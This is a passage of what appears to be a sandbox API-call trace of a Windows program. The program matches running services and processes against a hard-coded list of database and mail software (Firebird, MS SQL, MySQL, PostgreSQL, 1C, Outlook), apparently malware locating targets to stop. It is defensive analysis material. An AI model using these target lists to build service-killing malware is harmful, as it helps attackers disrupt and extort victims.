	[0035.081] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0035.081] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0035.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0035.081] lstrlenW (lpString="CryptSvc") returned 8
	[0035.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0035.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0035.081] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0035.081] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0035.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0035.081] lstrlenW (lpString="CscService") returned 10
	[0035.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0035.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0035.082] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0035.082] lstrlenW (lpString="DcomLaunch") returned 10
	[0035.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0035.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0035.082] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0035.082] lstrlenW (lpString="Dhcp") returned 4
	[0035.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0035.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0035.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0035.082] lstrlenW (lpString="Dnscache") returned 8
	[0035.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0035.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0035.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0035.082] lstrlenW (lpString="DPS") returned 3
	[0035.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0035.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0035.082] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0035.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0035.082] lstrlenW (lpString="eventlog") returned 8
	[0035.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0035.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0035.083] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0035.083] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0035.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0035.083] lstrlenW (lpString="EventSystem") returned 11
	[0035.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0035.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0035.083] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0035.083] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0035.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0035.083] lstrlenW (lpString="gpsvc") returned 5
	[0035.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0035.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0035.083] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0035.083] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0035.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0035.083] lstrlenW (lpString="iphlpsvc") returned 8
	[0035.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0035.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0035.084] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0035.084] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0035.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0035.084] lstrlenW (lpString="LanmanServer") returned 12
	[0035.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0035.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0035.084] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0035.084] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0035.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0035.084] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0035.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0035.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0035.084] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0035.084] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0035.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0035.084] lstrlenW (lpString="lmhosts") returned 7
	[0035.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0035.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0035.084] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0035.084] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0035.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0035.084] lstrlenW (lpString="MMCSS") returned 5
	[0035.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0035.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0035.084] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0035.084] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0035.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0035.084] lstrlenW (lpString="MpsSvc") returned 6
	[0035.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0035.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0035.085] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0035.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0035.085] lstrlenW (lpString="Netman") returned 6
	[0035.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0035.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0035.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0035.085] lstrlenW (lpString="netprofm") returned 8
	[0035.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0035.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0035.085] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0035.085] lstrlenW (lpString="NlaSvc") returned 6
	[0035.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0035.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0035.085] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0035.085] lstrlenW (lpString="nsi") returned 3
	[0035.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0035.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0035.085] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0035.085] lstrlenW (lpString="PcaSvc") returned 6
	[0035.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0035.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0035.085] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0035.085] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0035.086] lstrlenW (lpString="PlugPlay") returned 8
	[0035.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0035.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0035.086] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0035.086] lstrlenW (lpString="Power") returned 5
	[0035.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0035.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0035.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0035.086] lstrlenW (lpString="ProfSvc") returned 7
	[0035.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0035.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0035.086] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0035.086] lstrlenW (lpString="RpcEptMapper") returned 12
	[0035.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0035.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0035.086] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0035.086] lstrlenW (lpString="RpcSs") returned 5
	[0035.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0035.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0035.086] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0035.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0035.086] lstrlenW (lpString="SamSs") returned 5
	[0035.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0035.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0035.087] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0035.087] lstrlenW (lpString="Schedule") returned 8
	[0035.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0035.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0035.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0035.087] lstrlenW (lpString="SENS") returned 4
	[0035.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0035.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0035.087] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0035.087] lstrlenW (lpString="ShellHWDetection") returned 16
	[0035.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0035.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0035.087] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0035.087] lstrlenW (lpString="Spooler") returned 7
	[0035.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0035.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0035.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0035.087] lstrlenW (lpString="SysMain") returned 7
	[0035.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0035.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0035.087] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0035.088] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0035.088] lstrlenW (lpString="Themes") returned 6
	[0035.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0035.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0035.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0035.088] lstrlenW (lpString="TrkWks") returned 6
	[0035.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0035.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0035.088] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0035.088] lstrlenW (lpString="UxSms") returned 5
	[0035.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0035.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0035.088] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0035.088] lstrlenW (lpString="WdiServiceHost") returned 14
	[0035.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0035.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0035.088] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0035.088] lstrlenW (lpString="WdiSystemHost") returned 13
	[0035.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0035.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0035.088] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0035.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0035.089] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0035.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0035.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0035.089] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0035.089] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0035.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0035.089] lstrlenW (lpString="Winmgmt") returned 7
	[0035.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0035.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0035.089] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0035.089] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0035.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0035.089] lstrlenW (lpString="WPDBusEnum") returned 10
	[0035.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0035.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0035.089] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0035.089] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0035.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0035.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5460b8 | out: hHeap=0x4f0000) returned 1
	[0035.089] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x114
	[0035.092] Process32FirstW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0035.092] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0035.093] lstrlenW (lpString="System") returned 6
	[0035.093] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0035.093] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0035.093] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0035.093] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0035.093] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0035.093] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0035.093] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0035.093] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0035.093] lstrlenW (lpString="smss.exe") returned 8
	[0035.093] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0035.093] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0035.093] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0035.094] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0035.094] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0035.094] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0035.094] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0035.094] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0035.094] lstrlenW (lpString="csrss.exe") returned 9
	[0035.094] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0035.094] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0035.094] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0035.094] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0035.094] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0035.094] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0035.094] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0035.094] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0035.097] lstrlenW (lpString="wininit.exe") returned 11
	[0035.097] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0035.097] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0035.097] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0035.097] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0035.097] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0035.097] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0035.097] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0035.097] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0035.098] lstrlenW (lpString="csrss.exe") returned 9
	[0035.098] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0035.098] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0035.098] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0035.098] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0035.098] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0035.098] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0035.098] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0035.099] lstrlenW (lpString="winlogon.exe") returned 12
	[0035.099] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0035.100] lstrlenW (lpString="services.exe") returned 12
	[0035.100] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0035.100] lstrlenW (lpString="lsass.exe") returned 9
	[0035.100] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0035.101] lstrlenW (lpString="lsm.exe") returned 7
	[0035.101] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.102] lstrlenW (lpString="svchost.exe") returned 11
	[0035.102] Process32NextW (in: hSnapshot=0x114, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.102] lstrlenW (lpString="svchost.exe") returned 11
